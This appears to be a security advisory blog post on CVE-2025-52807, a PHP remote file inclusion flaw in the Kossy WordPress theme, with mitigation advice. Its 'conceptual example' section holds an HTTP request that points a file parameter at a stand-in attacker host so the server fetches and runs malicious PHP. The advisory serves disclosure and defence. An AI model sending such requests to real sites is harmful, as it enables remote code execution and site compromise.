Overview
In the rapidly evolving world of cybersecurity, the detection of new vulnerabilities remains a constant concern. The focus of this post is a recent discovery termed as CVE-2025-52807. This critical vulnerability lies in the popular ApusWP Kossy – Minimalist eCommerce WordPress Theme and is categorized as a PHP Remote File Inclusion vulnerability. It affects a broad user base ranging from individual WordPress site owners to businesses operating on WordPress platforms. The severity of this exploit is underscored by its high CVSS score of 8.1, indicating a significant risk of system compromise or data leakage if not promptly addressed.
Vulnerability Summary
CVE ID: CVE-2025-52807
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
ApusWP Kossy – Minimalist eCommerce WordPress Theme | n/a – 1.45
How the Exploit Works
The root cause of this vulnerability lies in an improper control of filename for Include/Require Statement in PHP Program within the ApusWP Kossy – Minimalist eCommerce WordPress Theme. This flaw allows an attacker to include files from remote servers, leading to the execution of malicious PHP code. The successful execution can lead to unauthorized access and control of the system, potentially leading to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that includes a malicious payload in the PHP include statement:
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: vulnerable-site.comIn this example, the attacker has replaced the `file` parameter with a URL pointing to a remote server hosting malicious PHP code. When the server processes this request, it unwittingly includes the malicious code from the remote server, leading to the execution of the attacker’s code on the target system.
Mitigation Measures
To mitigate this vulnerability, users should apply the vendor-provided patch as soon as it becomes available. Until the patch is applied, users can utilize Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as temporary mitigation measures to detect and block attempts to exploit this vulnerability. Regularly updating and patching your systems can go a long way in enhancing your cybersecurity posture.